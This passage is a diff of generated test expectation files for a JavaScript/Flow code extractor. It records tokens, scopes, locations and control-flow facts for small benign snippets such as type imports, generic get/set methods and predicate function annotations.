#20154=@"loc,{#10000},3,1,3,0"
|
||||
locations_default(#20154,#10000,3,1,3,0)
|
||||
hasLocation(#20153,#20154)
|
||||
#20155=*
|
||||
exit_cfg_node(#20155,#20026)
|
||||
#20156=@"loc,{#10000},3,24,3,23"
|
||||
locations_default(#20156,#10000,3,24,3,23)
|
||||
hasLocation(#20155,#20156)
|
||||
successor(#20035,#20155)
|
||||
successor(#20032,#20035)
|
||||
successor(#20153,#20032)
|
||||
successor(#20015,#20026)
|
||||
#20157=*
|
||||
entry_cfg_node(#20157,#20015)
|
||||
#20158=@"loc,{#10000},2,1,2,0"
|
||||
locations_default(#20158,#10000,2,1,2,0)
|
||||
hasLocation(#20157,#20158)
|
||||
#20159=*
|
||||
exit_cfg_node(#20159,#20015)
|
||||
#20160=@"loc,{#10000},2,22,2,21"
|
||||
locations_default(#20160,#10000,2,22,2,21)
|
||||
hasLocation(#20159,#20160)
|
||||
successor(#20024,#20159)
|
||||
successor(#20021,#20024)
|
||||
successor(#20157,#20021)
|
||||
successor(#20004,#20015)
|
||||
#20161=*
|
||||
entry_cfg_node(#20161,#20004)
|
||||
hasLocation(#20161,#20147)
|
||||
#20162=*
|
||||
exit_cfg_node(#20162,#20004)
|
||||
#20163=@"loc,{#10000},1,20,1,19"
|
||||
locations_default(#20163,#10000,1,20,1,19)
|
||||
hasLocation(#20162,#20163)
|
||||
successor(#20013,#20162)
|
||||
successor(#20010,#20013)
|
||||
successor(#20161,#20010)
|
||||
successor(#20039,#20004)
|
||||
successor(#20028,#20039)
|
||||
successor(#20017,#20028)
|
||||
successor(#20006,#20017)
|
||||
successor(#20146,#20006)
|
||||
numlines(#10000,4,4,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,146 @@
|
||||
#10000=@"/declared-module-imports.js;sourcefile"
|
||||
files(#10000,"/declared-module-imports.js","declared-module-imports","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,5,0"
|
||||
locations_default(#20002,#10000,1,1,5,0)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=@"module;{#10000},1,1"
|
||||
scopes(#20003,3)
|
||||
scopenodes(#20001,#20003)
|
||||
scopenesting(#20003,#20000)
|
||||
isModule(#20001)
|
||||
#20004=*
|
||||
lines(#20004,#20001,"declare module ""m1"" {","
|
||||
")
|
||||
#20005=@"loc,{#10000},1,1,1,21"
|
||||
locations_default(#20005,#10000,1,1,1,21)
|
||||
hasLocation(#20004,#20005)
|
||||
#20006=*
|
||||
lines(#20006,#20001," import type t from ""m2"";","
|
||||
")
|
||||
#20007=@"loc,{#10000},2,1,2,26"
|
||||
locations_default(#20007,#10000,2,1,2,26)
|
||||
hasLocation(#20006,#20007)
|
||||
indentation(#10000,2," ",2)
|
||||
#20008=*
|
||||
lines(#20008,#20001," import typeof t from ""m3"";","
|
||||
")
|
||||
#20009=@"loc,{#10000},3,1,3,28"
|
||||
locations_default(#20009,#10000,3,1,3,28)
|
||||
hasLocation(#20008,#20009)
|
||||
indentation(#10000,3," ",2)
|
||||
#20010=*
|
||||
lines(#20010,#20001,"}","
|
||||
")
|
||||
#20011=@"loc,{#10000},4,1,4,1"
|
||||
locations_default(#20011,#10000,4,1,4,1)
|
||||
hasLocation(#20010,#20011)
|
||||
numlines(#20001,4,4,0)
|
||||
#20012=*
|
||||
tokeninfo(#20012,6,#20001,0,"declare")
|
||||
#20013=@"loc,{#10000},1,1,1,7"
|
||||
locations_default(#20013,#10000,1,1,1,7)
|
||||
hasLocation(#20012,#20013)
|
||||
#20014=*
|
||||
tokeninfo(#20014,6,#20001,1,"module")
|
||||
#20015=@"loc,{#10000},1,9,1,14"
|
||||
locations_default(#20015,#10000,1,9,1,14)
|
||||
hasLocation(#20014,#20015)
|
||||
#20016=*
|
||||
tokeninfo(#20016,4,#20001,2,"""m1""")
|
||||
#20017=@"loc,{#10000},1,16,1,19"
|
||||
locations_default(#20017,#10000,1,16,1,19)
|
||||
hasLocation(#20016,#20017)
|
||||
#20018=*
|
||||
tokeninfo(#20018,8,#20001,3,"{")
|
||||
#20019=@"loc,{#10000},1,21,1,21"
|
||||
locations_default(#20019,#10000,1,21,1,21)
|
||||
hasLocation(#20018,#20019)
|
||||
#20020=*
|
||||
tokeninfo(#20020,7,#20001,4,"import")
|
||||
#20021=@"loc,{#10000},2,3,2,8"
|
||||
locations_default(#20021,#10000,2,3,2,8)
|
||||
hasLocation(#20020,#20021)
|
||||
#20022=*
|
||||
tokeninfo(#20022,6,#20001,5,"type")
|
||||
#20023=@"loc,{#10000},2,10,2,13"
|
||||
locations_default(#20023,#10000,2,10,2,13)
|
||||
hasLocation(#20022,#20023)
|
||||
#20024=*
|
||||
tokeninfo(#20024,6,#20001,6,"t")
|
||||
#20025=@"loc,{#10000},2,15,2,15"
|
||||
locations_default(#20025,#10000,2,15,2,15)
|
||||
hasLocation(#20024,#20025)
|
||||
#20026=*
|
||||
tokeninfo(#20026,6,#20001,7,"from")
|
||||
#20027=@"loc,{#10000},2,17,2,20"
|
||||
locations_default(#20027,#10000,2,17,2,20)
|
||||
hasLocation(#20026,#20027)
|
||||
#20028=*
|
||||
tokeninfo(#20028,4,#20001,8,"""m2""")
|
||||
#20029=@"loc,{#10000},2,22,2,25"
|
||||
locations_default(#20029,#10000,2,22,2,25)
|
||||
hasLocation(#20028,#20029)
|
||||
#20030=*
|
||||
tokeninfo(#20030,8,#20001,9,";")
|
||||
#20031=@"loc,{#10000},2,26,2,26"
|
||||
locations_default(#20031,#10000,2,26,2,26)
|
||||
hasLocation(#20030,#20031)
|
||||
#20032=*
|
||||
tokeninfo(#20032,7,#20001,10,"import")
|
||||
#20033=@"loc,{#10000},3,3,3,8"
|
||||
locations_default(#20033,#10000,3,3,3,8)
|
||||
hasLocation(#20032,#20033)
|
||||
#20034=*
|
||||
tokeninfo(#20034,7,#20001,11,"typeof")
|
||||
#20035=@"loc,{#10000},3,10,3,15"
|
||||
locations_default(#20035,#10000,3,10,3,15)
|
||||
hasLocation(#20034,#20035)
|
||||
#20036=*
|
||||
tokeninfo(#20036,6,#20001,12,"t")
|
||||
#20037=@"loc,{#10000},3,17,3,17"
|
||||
locations_default(#20037,#10000,3,17,3,17)
|
||||
hasLocation(#20036,#20037)
|
||||
#20038=*
|
||||
tokeninfo(#20038,6,#20001,13,"from")
|
||||
#20039=@"loc,{#10000},3,19,3,22"
|
||||
locations_default(#20039,#10000,3,19,3,22)
|
||||
hasLocation(#20038,#20039)
|
||||
#20040=*
|
||||
tokeninfo(#20040,4,#20001,14,"""m3""")
|
||||
#20041=@"loc,{#10000},3,24,3,27"
|
||||
locations_default(#20041,#10000,3,24,3,27)
|
||||
hasLocation(#20040,#20041)
|
||||
#20042=*
|
||||
tokeninfo(#20042,8,#20001,15,";")
|
||||
#20043=@"loc,{#10000},3,28,3,28"
|
||||
locations_default(#20043,#10000,3,28,3,28)
|
||||
hasLocation(#20042,#20043)
|
||||
#20044=*
|
||||
tokeninfo(#20044,8,#20001,16,"}")
|
||||
hasLocation(#20044,#20011)
|
||||
#20045=*
|
||||
tokeninfo(#20045,0,#20001,17,"")
|
||||
#20046=@"loc,{#10000},5,1,5,0"
|
||||
locations_default(#20046,#10000,5,1,5,0)
|
||||
hasLocation(#20045,#20046)
|
||||
#20047=*
|
||||
entry_cfg_node(#20047,#20001)
|
||||
#20048=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20048,#10000,1,1,1,0)
|
||||
hasLocation(#20047,#20048)
|
||||
#20049=*
|
||||
exit_cfg_node(#20049,#20001)
|
||||
hasLocation(#20049,#20046)
|
||||
successor(#20047,#20049)
|
||||
numlines(#10000,4,4,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,368 @@
|
||||
#10000=@"/get-set-methods.js;sourcefile"
|
||||
files(#10000,"/get-set-methods.js","get-set-methods","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,5,0"
|
||||
locations_default(#20002,#10000,1,1,5,0)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=@"var;{C};{#20000}"
|
||||
variables(#20003,"C",#20000)
|
||||
#20004=@"local_type_name;{C};{#20000}"
|
||||
local_type_names(#20004,"C",#20000)
|
||||
#20005=*
|
||||
stmts(#20005,26,#20001,0,"class C ... ) { }\n}")
|
||||
#20006=@"loc,{#10000},1,1,4,1"
|
||||
locations_default(#20006,#10000,1,1,4,1)
|
||||
hasLocation(#20005,#20006)
|
||||
stmtContainers(#20005,#20001)
|
||||
#20007=*
|
||||
exprs(#20007,78,#20005,0,"C")
|
||||
#20008=@"loc,{#10000},1,7,1,7"
|
||||
locations_default(#20008,#10000,1,7,1,7)
|
||||
hasLocation(#20007,#20008)
|
||||
enclosingStmt(#20007,#20005)
|
||||
exprContainers(#20007,#20001)
|
||||
literals("C","C",#20007)
|
||||
decl(#20007,#20003)
|
||||
typedecl(#20007,#20004)
|
||||
#20009=*
|
||||
scopes(#20009,10)
|
||||
scopenodes(#20005,#20009)
|
||||
scopenesting(#20009,#20000)
|
||||
#20010=*
|
||||
properties(#20010,#20005,2,0,"get<T>(v: T) { }")
|
||||
#20011=@"loc,{#10000},2,5,2,20"
|
||||
locations_default(#20011,#10000,2,5,2,20)
|
||||
hasLocation(#20010,#20011)
|
||||
#20012=*
|
||||
exprs(#20012,0,#20010,0,"get")
|
||||
#20013=@"loc,{#10000},2,5,2,7"
|
||||
locations_default(#20013,#10000,2,5,2,7)
|
||||
hasLocation(#20012,#20013)
|
||||
enclosingStmt(#20012,#20005)
|
||||
exprContainers(#20012,#20001)
|
||||
literals("get","get",#20012)
|
||||
#20014=*
|
||||
exprs(#20014,9,#20010,1,"(v: T) { }")
|
||||
#20015=@"loc,{#10000},2,11,2,20"
|
||||
locations_default(#20015,#10000,2,11,2,20)
|
||||
hasLocation(#20014,#20015)
|
||||
enclosingStmt(#20014,#20005)
|
||||
exprContainers(#20014,#20001)
|
||||
#20016=*
|
||||
scopes(#20016,1)
|
||||
scopenodes(#20014,#20016)
|
||||
scopenesting(#20016,#20009)
|
||||
#20017=@"var;{v};{#20016}"
|
||||
variables(#20017,"v",#20016)
|
||||
#20018=*
|
||||
exprs(#20018,78,#20014,0,"v: T")
|
||||
#20019=@"loc,{#10000},2,12,2,15"
|
||||
locations_default(#20019,#10000,2,12,2,15)
|
||||
hasLocation(#20018,#20019)
|
||||
exprContainers(#20018,#20014)
|
||||
literals("v","v",#20018)
|
||||
decl(#20018,#20017)
|
||||
#20020=@"var;{arguments};{#20016}"
|
||||
variables(#20020,"arguments",#20016)
|
||||
isArgumentsObject(#20020)
|
||||
#20021=*
|
||||
stmts(#20021,1,#20014,-2,"{ }")
|
||||
#20022=@"loc,{#10000},2,18,2,20"
|
||||
locations_default(#20022,#10000,2,18,2,20)
|
||||
hasLocation(#20021,#20022)
|
||||
stmtContainers(#20021,#20014)
|
||||
numlines(#20014,1,1,0)
|
||||
isMethod(#20010)
|
||||
#20023=*
|
||||
properties(#20023,#20005,3,0,"set<T>(v: T) { }")
|
||||
#20024=@"loc,{#10000},3,5,3,20"
|
||||
locations_default(#20024,#10000,3,5,3,20)
|
||||
hasLocation(#20023,#20024)
|
||||
#20025=*
|
||||
exprs(#20025,0,#20023,0,"set")
|
||||
#20026=@"loc,{#10000},3,5,3,7"
|
||||
locations_default(#20026,#10000,3,5,3,7)
|
||||
hasLocation(#20025,#20026)
|
||||
enclosingStmt(#20025,#20005)
|
||||
exprContainers(#20025,#20001)
|
||||
literals("set","set",#20025)
|
||||
#20027=*
|
||||
exprs(#20027,9,#20023,1,"(v: T) { }")
|
||||
#20028=@"loc,{#10000},3,11,3,20"
|
||||
locations_default(#20028,#10000,3,11,3,20)
|
||||
hasLocation(#20027,#20028)
|
||||
enclosingStmt(#20027,#20005)
|
||||
exprContainers(#20027,#20001)
|
||||
#20029=*
|
||||
scopes(#20029,1)
|
||||
scopenodes(#20027,#20029)
|
||||
scopenesting(#20029,#20009)
|
||||
#20030=@"var;{v};{#20029}"
|
||||
variables(#20030,"v",#20029)
|
||||
#20031=*
|
||||
exprs(#20031,78,#20027,0,"v: T")
|
||||
#20032=@"loc,{#10000},3,12,3,15"
|
||||
locations_default(#20032,#10000,3,12,3,15)
|
||||
hasLocation(#20031,#20032)
|
||||
exprContainers(#20031,#20027)
|
||||
literals("v","v",#20031)
|
||||
decl(#20031,#20030)
|
||||
#20033=@"var;{arguments};{#20029}"
|
||||
variables(#20033,"arguments",#20029)
|
||||
isArgumentsObject(#20033)
|
||||
#20034=*
|
||||
stmts(#20034,1,#20027,-2,"{ }")
|
||||
#20035=@"loc,{#10000},3,18,3,20"
|
||||
locations_default(#20035,#10000,3,18,3,20)
|
||||
hasLocation(#20034,#20035)
|
||||
stmtContainers(#20034,#20027)
|
||||
numlines(#20027,1,1,0)
|
||||
isMethod(#20023)
|
||||
#20036=*
|
||||
properties(#20036,#20005,4,0,"constructor() {}")
|
||||
#20037=@"loc,{#10000},1,9,1,8"
|
||||
locations_default(#20037,#10000,1,9,1,8)
|
||||
hasLocation(#20036,#20037)
|
||||
#20038=*
|
||||
exprs(#20038,0,#20036,0,"constructor")
|
||||
hasLocation(#20038,#20037)
|
||||
enclosingStmt(#20038,#20005)
|
||||
exprContainers(#20038,#20001)
|
||||
literals("constructor","constructor",#20038)
|
||||
#20039=*
|
||||
exprs(#20039,9,#20036,1,"() {}")
|
||||
hasLocation(#20039,#20037)
|
||||
enclosingStmt(#20039,#20005)
|
||||
exprContainers(#20039,#20001)
|
||||
#20040=*
|
||||
scopes(#20040,1)
|
||||
scopenodes(#20039,#20040)
|
||||
scopenesting(#20040,#20009)
|
||||
#20041=@"var;{arguments};{#20040}"
|
||||
variables(#20041,"arguments",#20040)
|
||||
isArgumentsObject(#20041)
|
||||
#20042=*
|
||||
stmts(#20042,1,#20039,-2,"{}")
|
||||
hasLocation(#20042,#20037)
|
||||
stmtContainers(#20042,#20039)
|
||||
numlines(#20039,1,0,0)
|
||||
isMethod(#20036)
|
||||
#20043=*
|
||||
lines(#20043,#20001,"class C {","
|
||||
")
|
||||
#20044=@"loc,{#10000},1,1,1,9"
|
||||
locations_default(#20044,#10000,1,1,1,9)
|
||||
hasLocation(#20043,#20044)
|
||||
#20045=*
|
||||
lines(#20045,#20001," get<T>(v: T) { }","
|
||||
")
|
||||
#20046=@"loc,{#10000},2,1,2,20"
|
||||
locations_default(#20046,#10000,2,1,2,20)
|
||||
hasLocation(#20045,#20046)
|
||||
indentation(#10000,2," ",4)
|
||||
#20047=*
|
||||
lines(#20047,#20001," set<T>(v: T) { }","
|
||||
")
|
||||
#20048=@"loc,{#10000},3,1,3,20"
|
||||
locations_default(#20048,#10000,3,1,3,20)
|
||||
hasLocation(#20047,#20048)
|
||||
indentation(#10000,3," ",4)
|
||||
#20049=*
|
||||
lines(#20049,#20001,"}","
|
||||
")
|
||||
#20050=@"loc,{#10000},4,1,4,1"
|
||||
locations_default(#20050,#10000,4,1,4,1)
|
||||
hasLocation(#20049,#20050)
|
||||
numlines(#20001,4,4,0)
|
||||
#20051=*
|
||||
tokeninfo(#20051,7,#20001,0,"class")
|
||||
#20052=@"loc,{#10000},1,1,1,5"
|
||||
locations_default(#20052,#10000,1,1,1,5)
|
||||
hasLocation(#20051,#20052)
|
||||
#20053=*
|
||||
tokeninfo(#20053,6,#20001,1,"C")
|
||||
hasLocation(#20053,#20008)
|
||||
#20054=*
|
||||
tokeninfo(#20054,8,#20001,2,"{")
|
||||
#20055=@"loc,{#10000},1,9,1,9"
|
||||
locations_default(#20055,#10000,1,9,1,9)
|
||||
hasLocation(#20054,#20055)
|
||||
#20056=*
|
||||
tokeninfo(#20056,6,#20001,3,"get")
|
||||
hasLocation(#20056,#20013)
|
||||
#20057=*
|
||||
tokeninfo(#20057,8,#20001,4,"<")
|
||||
#20058=@"loc,{#10000},2,8,2,8"
|
||||
locations_default(#20058,#10000,2,8,2,8)
|
||||
hasLocation(#20057,#20058)
|
||||
#20059=*
|
||||
tokeninfo(#20059,6,#20001,5,"T")
|
||||
#20060=@"loc,{#10000},2,9,2,9"
|
||||
locations_default(#20060,#10000,2,9,2,9)
|
||||
hasLocation(#20059,#20060)
|
||||
#20061=*
|
||||
tokeninfo(#20061,8,#20001,6,">")
|
||||
#20062=@"loc,{#10000},2,10,2,10"
|
||||
locations_default(#20062,#10000,2,10,2,10)
|
||||
hasLocation(#20061,#20062)
|
||||
#20063=*
|
||||
tokeninfo(#20063,8,#20001,7,"(")
|
||||
#20064=@"loc,{#10000},2,11,2,11"
|
||||
locations_default(#20064,#10000,2,11,2,11)
|
||||
hasLocation(#20063,#20064)
|
||||
#20065=*
|
||||
tokeninfo(#20065,6,#20001,8,"v")
|
||||
#20066=@"loc,{#10000},2,12,2,12"
|
||||
locations_default(#20066,#10000,2,12,2,12)
|
||||
hasLocation(#20065,#20066)
|
||||
#20067=*
|
||||
tokeninfo(#20067,8,#20001,9,":")
|
||||
#20068=@"loc,{#10000},2,13,2,13"
|
||||
locations_default(#20068,#10000,2,13,2,13)
|
||||
hasLocation(#20067,#20068)
|
||||
#20069=*
|
||||
tokeninfo(#20069,6,#20001,10,"T")
|
||||
#20070=@"loc,{#10000},2,15,2,15"
|
||||
locations_default(#20070,#10000,2,15,2,15)
|
||||
hasLocation(#20069,#20070)
|
||||
#20071=*
|
||||
tokeninfo(#20071,8,#20001,11,")")
|
||||
#20072=@"loc,{#10000},2,16,2,16"
|
||||
locations_default(#20072,#10000,2,16,2,16)
|
||||
hasLocation(#20071,#20072)
|
||||
#20073=*
|
||||
tokeninfo(#20073,8,#20001,12,"{")
|
||||
#20074=@"loc,{#10000},2,18,2,18"
|
||||
locations_default(#20074,#10000,2,18,2,18)
|
||||
hasLocation(#20073,#20074)
|
||||
#20075=*
|
||||
tokeninfo(#20075,8,#20001,13,"}")
|
||||
#20076=@"loc,{#10000},2,20,2,20"
|
||||
locations_default(#20076,#10000,2,20,2,20)
|
||||
hasLocation(#20075,#20076)
|
||||
#20077=*
|
||||
tokeninfo(#20077,6,#20001,14,"set")
|
||||
hasLocation(#20077,#20026)
|
||||
#20078=*
|
||||
tokeninfo(#20078,8,#20001,15,"<")
|
||||
#20079=@"loc,{#10000},3,8,3,8"
|
||||
locations_default(#20079,#10000,3,8,3,8)
|
||||
hasLocation(#20078,#20079)
|
||||
#20080=*
|
||||
tokeninfo(#20080,6,#20001,16,"T")
|
||||
#20081=@"loc,{#10000},3,9,3,9"
|
||||
locations_default(#20081,#10000,3,9,3,9)
|
||||
hasLocation(#20080,#20081)
|
||||
#20082=*
|
||||
tokeninfo(#20082,8,#20001,17,">")
|
||||
#20083=@"loc,{#10000},3,10,3,10"
|
||||
locations_default(#20083,#10000,3,10,3,10)
|
||||
hasLocation(#20082,#20083)
|
||||
#20084=*
|
||||
tokeninfo(#20084,8,#20001,18,"(")
|
||||
#20085=@"loc,{#10000},3,11,3,11"
|
||||
locations_default(#20085,#10000,3,11,3,11)
|
||||
hasLocation(#20084,#20085)
|
||||
#20086=*
|
||||
tokeninfo(#20086,6,#20001,19,"v")
|
||||
#20087=@"loc,{#10000},3,12,3,12"
|
||||
locations_default(#20087,#10000,3,12,3,12)
|
||||
hasLocation(#20086,#20087)
|
||||
#20088=*
|
||||
tokeninfo(#20088,8,#20001,20,":")
|
||||
#20089=@"loc,{#10000},3,13,3,13"
|
||||
locations_default(#20089,#10000,3,13,3,13)
|
||||
hasLocation(#20088,#20089)
|
||||
#20090=*
|
||||
tokeninfo(#20090,6,#20001,21,"T")
|
||||
#20091=@"loc,{#10000},3,15,3,15"
|
||||
locations_default(#20091,#10000,3,15,3,15)
|
||||
hasLocation(#20090,#20091)
|
||||
#20092=*
|
||||
tokeninfo(#20092,8,#20001,22,")")
|
||||
#20093=@"loc,{#10000},3,16,3,16"
|
||||
locations_default(#20093,#10000,3,16,3,16)
|
||||
hasLocation(#20092,#20093)
|
||||
#20094=*
|
||||
tokeninfo(#20094,8,#20001,23,"{")
|
||||
#20095=@"loc,{#10000},3,18,3,18"
|
||||
locations_default(#20095,#10000,3,18,3,18)
|
||||
hasLocation(#20094,#20095)
|
||||
#20096=*
|
||||
tokeninfo(#20096,8,#20001,24,"}")
|
||||
#20097=@"loc,{#10000},3,20,3,20"
|
||||
locations_default(#20097,#10000,3,20,3,20)
|
||||
hasLocation(#20096,#20097)
|
||||
#20098=*
|
||||
tokeninfo(#20098,8,#20001,25,"}")
|
||||
hasLocation(#20098,#20050)
|
||||
#20099=*
|
||||
tokeninfo(#20099,0,#20001,26,"")
|
||||
#20100=@"loc,{#10000},5,1,5,0"
|
||||
locations_default(#20100,#10000,5,1,5,0)
|
||||
hasLocation(#20099,#20100)
|
||||
#20101=*
|
||||
entry_cfg_node(#20101,#20001)
|
||||
#20102=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20102,#10000,1,1,1,0)
|
||||
hasLocation(#20101,#20102)
|
||||
#20103=*
|
||||
exit_cfg_node(#20103,#20001)
|
||||
hasLocation(#20103,#20100)
|
||||
successor(#20039,#20036)
|
||||
#20104=*
|
||||
entry_cfg_node(#20104,#20039)
|
||||
hasLocation(#20104,#20037)
|
||||
#20105=*
|
||||
exit_cfg_node(#20105,#20039)
|
||||
hasLocation(#20105,#20037)
|
||||
successor(#20042,#20105)
|
||||
successor(#20104,#20042)
|
||||
successor(#20038,#20039)
|
||||
successor(#20036,#20005)
|
||||
successor(#20027,#20023)
|
||||
#20106=*
|
||||
entry_cfg_node(#20106,#20027)
|
||||
#20107=@"loc,{#10000},3,11,3,10"
|
||||
locations_default(#20107,#10000,3,11,3,10)
|
||||
hasLocation(#20106,#20107)
|
||||
#20108=*
|
||||
exit_cfg_node(#20108,#20027)
|
||||
#20109=@"loc,{#10000},3,21,3,20"
|
||||
locations_default(#20109,#10000,3,21,3,20)
|
||||
hasLocation(#20108,#20109)
|
||||
successor(#20034,#20108)
|
||||
successor(#20031,#20034)
|
||||
successor(#20106,#20031)
|
||||
successor(#20025,#20027)
|
||||
successor(#20023,#20038)
|
||||
successor(#20014,#20010)
|
||||
#20110=*
|
||||
entry_cfg_node(#20110,#20014)
|
||||
#20111=@"loc,{#10000},2,11,2,10"
|
||||
locations_default(#20111,#10000,2,11,2,10)
|
||||
hasLocation(#20110,#20111)
|
||||
#20112=*
|
||||
exit_cfg_node(#20112,#20014)
|
||||
#20113=@"loc,{#10000},2,21,2,20"
|
||||
locations_default(#20113,#10000,2,21,2,20)
|
||||
hasLocation(#20112,#20113)
|
||||
successor(#20021,#20112)
|
||||
successor(#20018,#20021)
|
||||
successor(#20110,#20018)
|
||||
successor(#20012,#20014)
|
||||
successor(#20010,#20025)
|
||||
successor(#20007,#20012)
|
||||
successor(#20005,#20103)
|
||||
successor(#20101,#20007)
|
||||
numlines(#10000,4,4,0)
|
||||
filetype(#10000,"javascript")
|
||||
@@ -0,0 +1,539 @@
|
||||
#10000=@"/predicate-function-annotation.js;sourcefile"
|
||||
files(#10000,"/predicate-function-annotation.js","predicate-function-annotation","js",0)
|
||||
#10001=@"/;folder"
|
||||
folders(#10001,"/","")
|
||||
containerparent(#10001,#10000)
|
||||
#10002=@"loc,{#10000},0,0,0,0"
|
||||
locations_default(#10002,#10000,0,0,0,0)
|
||||
hasLocation(#10000,#10002)
|
||||
#20000=@"global_scope"
|
||||
scopes(#20000,0)
|
||||
#20001=@"script;{#10000},1,1"
|
||||
toplevels(#20001,0)
|
||||
#20002=@"loc,{#10000},1,1,10,0"
|
||||
locations_default(#20002,#10000,1,1,10,0)
|
||||
hasLocation(#20001,#20002)
|
||||
#20003=@"var;{f};{#20000}"
|
||||
variables(#20003,"f",#20000)
|
||||
#20004=@"var;{g};{#20000}"
|
||||
variables(#20004,"g",#20000)
|
||||
#20005=*
|
||||
stmts(#20005,17,#20001,0,"functio ... rn a;\n}")
|
||||
#20006=@"loc,{#10000},1,1,3,1"
|
||||
locations_default(#20006,#10000,1,1,3,1)
|
||||
hasLocation(#20005,#20006)
|
||||
stmtContainers(#20005,#20001)
|
||||
#20007=*
|
||||
exprs(#20007,78,#20005,-1,"f")
|
||||
#20008=@"loc,{#10000},1,10,1,10"
|
||||
locations_default(#20008,#10000,1,10,1,10)
|
||||
hasLocation(#20007,#20008)
|
||||
exprContainers(#20007,#20005)
|
||||
literals("f","f",#20007)
|
||||
decl(#20007,#20003)
|
||||
#20009=*
|
||||
scopes(#20009,1)
|
||||
scopenodes(#20005,#20009)
|
||||
scopenesting(#20009,#20000)
|
||||
#20010=@"var;{a};{#20009}"
|
||||
variables(#20010,"a",#20009)
|
||||
#20011=*
|
||||
exprs(#20011,78,#20005,0,"a")
|
||||
#20012=@"loc,{#10000},1,12,1,12"
|
||||
locations_default(#20012,#10000,1,12,1,12)
|
||||
hasLocation(#20011,#20012)
|
||||
exprContainers(#20011,#20005)
|
||||
literals("a","a",#20011)
|
||||
decl(#20011,#20010)
|
||||
#20013=@"var;{arguments};{#20009}"
|
||||
variables(#20013,"arguments",#20009)
|
||||
isArgumentsObject(#20013)
|
||||
#20014=*
|
||||
stmts(#20014,1,#20005,-2,"{\n return a;\n}")
|
||||
#20015=@"loc,{#10000},1,32,3,1"
|
||||
locations_default(#20015,#10000,1,32,3,1)
|
||||
hasLocation(#20014,#20015)
|
||||
stmtContainers(#20014,#20005)
|
||||
#20016=*
|
||||
stmts(#20016,9,#20014,0,"return a;")
|
||||
#20017=@"loc,{#10000},2,5,2,13"
|
||||
locations_default(#20017,#10000,2,5,2,13)
|
||||
hasLocation(#20016,#20017)
|
||||
stmtContainers(#20016,#20005)
|
||||
#20018=*
|
||||
exprs(#20018,79,#20016,0,"a")
|
||||
#20019=@"loc,{#10000},2,12,2,12"
|
||||
locations_default(#20019,#10000,2,12,2,12)
|
||||
hasLocation(#20018,#20019)
|
||||
enclosingStmt(#20018,#20016)
|
||||
exprContainers(#20018,#20005)
|
||||
literals("a","a",#20018)
|
||||
bind(#20018,#20010)
|
||||
numlines(#20005,3,3,0)
|
||||
#20020=*
|
||||
stmts(#20020,17,#20001,1,"functio ... ecks {}")
|
||||
#20021=@"loc,{#10000},4,1,4,24"
|
||||
locations_default(#20021,#10000,4,1,4,24)
|
||||
hasLocation(#20020,#20021)
|
||||
stmtContainers(#20020,#20001)
|
||||
#20022=*
|
||||
exprs(#20022,78,#20020,-1,"g")
|
||||
#20023=@"loc,{#10000},4,10,4,10"
|
||||
locations_default(#20023,#10000,4,10,4,10)
|
||||
hasLocation(#20022,#20023)
|
||||
exprContainers(#20022,#20020)
|
||||
literals("g","g",#20022)
|
||||
decl(#20022,#20004)
|
||||
#20024=*
|
||||
scopes(#20024,1)
|
||||
scopenodes(#20020,#20024)
|
||||
scopenesting(#20024,#20000)
|
||||
#20025=@"var;{arguments};{#20024}"
|
||||
variables(#20025,"arguments",#20024)
|
||||
isArgumentsObject(#20025)
|
||||
#20026=*
|
||||
stmts(#20026,1,#20020,-2,"{}")
|
||||
#20027=@"loc,{#10000},4,23,4,24"
|
||||
locations_default(#20027,#10000,4,23,4,24)
|
||||
hasLocation(#20026,#20027)
|
||||
stmtContainers(#20026,#20020)
|
||||
numlines(#20020,1,1,0)
|
||||
#20028=*
|
||||
stmts(#20028,1,#20001,2,"{\n return b;\n}")
|
||||
#20029=@"loc,{#10000},4,26,6,1"
|
||||
locations_default(#20029,#10000,4,26,6,1)
|
||||
hasLocation(#20028,#20029)
|
||||
stmtContainers(#20028,#20001)
|
||||
#20030=*
|
||||
stmts(#20030,9,#20028,0,"return b;")
|
||||
#20031=@"loc,{#10000},5,5,5,13"
|
||||
locations_default(#20031,#10000,5,5,5,13)
|
||||
hasLocation(#20030,#20031)
|
||||
stmtContainers(#20030,#20001)
|
||||
#20032=*
|
||||
exprs(#20032,79,#20030,0,"b")
|
||||
#20033=@"loc,{#10000},5,12,5,12"
|
||||
locations_default(#20033,#10000,5,12,5,12)
|
||||
hasLocation(#20032,#20033)
|
||||
enclosingStmt(#20032,#20030)
|
||||
exprContainers(#20032,#20001)
|
||||
literals("b","b",#20032)
|
||||
#20034=@"var;{b};{#20000}"
|
||||
variables(#20034,"b",#20000)
|
||||
bind(#20032,#20034)
|
||||
#20035=*
|
||||
stmts(#20035,2,#20001,3,"(c): bo ... s => c;")
|
||||
#20036=@"loc,{#10000},8,1,8,26"
|
||||
locations_default(#20036,#10000,8,1,8,26)
|
||||
hasLocation(#20035,#20036)
|
||||
stmtContainers(#20035,#20001)
|
||||
#20037=*
|
||||
exprs(#20037,65,#20035,0,"(c): bo ... ks => c")
|
||||
#20038=@"loc,{#10000},8,1,8,25"
|
||||
locations_default(#20038,#10000,8,1,8,25)
|
||||
hasLocation(#20037,#20038)
|
||||
enclosingStmt(#20037,#20035)
|
||||
exprContainers(#20037,#20001)
|
||||
#20039=*
|
||||
scopes(#20039,1)
|
||||
scopenodes(#20037,#20039)
|
||||
scopenesting(#20039,#20000)
|
||||
